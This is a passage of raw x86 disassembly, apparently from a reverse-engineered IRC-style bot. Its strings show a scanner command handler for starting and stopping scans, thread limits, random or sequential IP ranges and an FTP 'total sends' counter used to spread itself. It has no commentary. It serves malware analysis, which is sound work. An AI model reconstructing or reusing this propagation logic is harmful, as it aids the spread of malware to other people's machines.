		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4225D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225F0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_4225F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422620	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422620	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422640	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401EF1
		add	esp, 8
		retn	8
sub_422640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422670	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422690	proc near		; CODE XREF: sub_4018F7j
		mov	eax, [ecx]
		retn
sub_422690	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226B0	proc near		; CODE XREF: sub_4019BAj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401839
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4226B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_40163Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A8C
		pop	ecx
		retn	4
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422700	proc near		; CODE XREF: sub_401E7Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FB9
		pop	ecx
		retn	4
sub_422700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422720	proc near		; CODE XREF: sub_401A3Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42273B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42273B:				; CODE XREF: sub_422720+11j
		retn
sub_422720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_40203Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422750
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422791
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401681


loc_422791:				; CODE XREF: sub_422750+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227E0	proc near		; CODE XREF: sub_401EF1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4227E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422821
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014D3


loc_422821:				; CODE XREF: sub_4227E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4227E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422850	proc near		; CODE XREF: sub_401A8Cj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019C9
		retn
sub_422850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422870	proc near		; CODE XREF: sub_401FB9j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422870	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422890	proc near		; CODE XREF: sub_401681j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014D3
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422890	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_4019C9j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A82
		test	[esp+4+arg_0], 1
		jz	short loc_4228D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4228D8:				; CODE XREF: sub_4228C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4228C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4228F0	proc near		; CODE XREF: sub_401AF5j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4228F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D7F8B, offset aAsn ; "asn"
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4228F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422B40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422C0A
		push	3
		call	sub_40148D
		add	esp, 4
		test	eax, eax
		jle	short loc_422BDD
		push	3
		call	sub_401DA2
		mov	eax, dword_50DB50[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422BDD:				; CODE XREF: sub_422B40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422C0A:				; CODE XREF: sub_422B40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422CB0
		mov	edi, dword_4D8370
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4232BD
		mov	edx, dword_44964F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422CB0:				; CODE XREF: sub_422B40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422D30
		push	eax
		push	3
		call	sub_401DA7
		add	esp, 8
		test	eax, eax
		jle	short loc_422D05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D05:				; CODE XREF: sub_422B40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D30:				; CODE XREF: sub_422B40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_422DDE
		push	3
		call	sub_40148D
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	2
		push	eax
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422F56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_422DDE:				; CODE XREF: sub_422B40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_445420
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422E69
		mov	eax, offset dword_445420


loc_422E55:				; CODE XREF: sub_422B40+327j
		cmp	[eax+8], edi
		jb	short loc_422E5F
		mov	[esp+7A0h+var_78D], 1


loc_422E5F:				; CODE XREF: sub_422B40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422E55


loc_422E69:				; CODE XREF: sub_422B40+30Ej
		mov	ebp, off_511C00
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5FADE9
		mov	eax, dword_445420
		add	esp, 8
		test	eax, eax
		jz	short loc_422ECF
		mov	edi, offset dword_445428


loc_422E8F:				; CODE XREF: sub_422B40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5FADE9
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422E8F


loc_422ECF:				; CODE XREF: sub_422B40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5FADE9
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422F29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	0
		call	sub_40152D
		add	esp, 10h


loc_422F29:				; CODE XREF: sub_422B40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422F39:				; CODE XREF: sub_422B40+1C0j
					; sub_422B40+1EBj ...
		xor	al, al


loc_422F3B:				; CODE XREF: sub_422B40+98j
					; sub_422B40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422F56:				; CODE XREF: sub_422B40+26Ej
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_423033
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_423043
; ---------------------------------------------------------------------------


loc_423033:				; CODE XREF: sub_422B40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_423043
		mov	[esp+7A0h+var_658], 3Ch


loc_423043:				; CODE XREF: sub_422B40+4F1j
					; sub_422B40+4F6j
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_42309C
		mov	[esp+7A0h+var_654], eax


loc_42309C:				; CODE XREF: sub_422B40+553j
		mov	eax, dword_445420
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42316C
		mov	ebp, offset dword_445420
		jmp	short loc_4230C2
; ---------------------------------------------------------------------------


loc_4230BF:				; CODE XREF: sub_422B40+602j
		or	ebx, 0FFFFFFFFh


loc_4230C2:				; CODE XREF: sub_422B40+57Dj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_4230EC:				; CODE XREF: sub_422B40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423110
		test	al, al
		jz	short loc_42310C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423110
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_4230EC


loc_42310C:				; CODE XREF: sub_422B40+5B6j
		xor	eax, eax
		jmp	short loc_423114
; ---------------------------------------------------------------------------


loc_423110:				; CODE XREF: sub_422B40+5B2j
					; sub_422B40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423114:				; CODE XREF: sub_422B40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42314A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_4230BF
		jmp	short loc_423169
; ---------------------------------------------------------------------------


loc_42314A:				; CODE XREF: sub_422B40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_445420[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423169:				; CODE XREF: sub_422B40+608j
		or	ebx, 0FFFFFFFFh


loc_42316C:				; CODE XREF: sub_422B40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42318A
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4232A5
; ---------------------------------------------------------------------------


loc_42318A:				; CODE XREF: sub_422B40+635j
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset dword_4447F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013ED
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423267
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017EE
		push	eax
		call	near ptr 77C47660h
		nop
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423396
; ---------------------------------------------------------------------------


loc_423267:				; CODE XREF: sub_422B40+688j
		push	offset dword_4455EC
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455E8
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4232A5:				; CODE XREF: sub_422B40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4232BD:				; CODE XREF: sub_422B40+132j
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_4232C4:				; CODE XREF: sub_422B40+735j
					; sub_422B40+745j ...
		mov	ecx, dword_4D808D
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		call	near ptr 71AB951Eh
		nop
		push	offset off_4455E8
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_4455EC
		call	sub_4013ED
		test	eax, eax
		jz	short loc_42338B
		push	offset off_4455E8
		mov	ecx, esi
		call	sub_4013ED
		mov	ebp, dword_511A9C
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42337E


loc_423362:				; CODE XREF: sub_422B40+83Cj
		test	eax, eax
		jz	short loc_42337E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423362


loc_42337E:				; CODE XREF: sub_422B40+820j
					; sub_422B40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423396
; ---------------------------------------------------------------------------


loc_42338B:				; CODE XREF: sub_422B40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423396:				; CODE XREF: sub_422B40+722j
					; sub_422B40+849j
		mov	edx, dword_4D808D
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4233F8
		mov	eax, offset aSequential	; "sequential"


loc_4233F8:				; CODE XREF: sub_422B40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
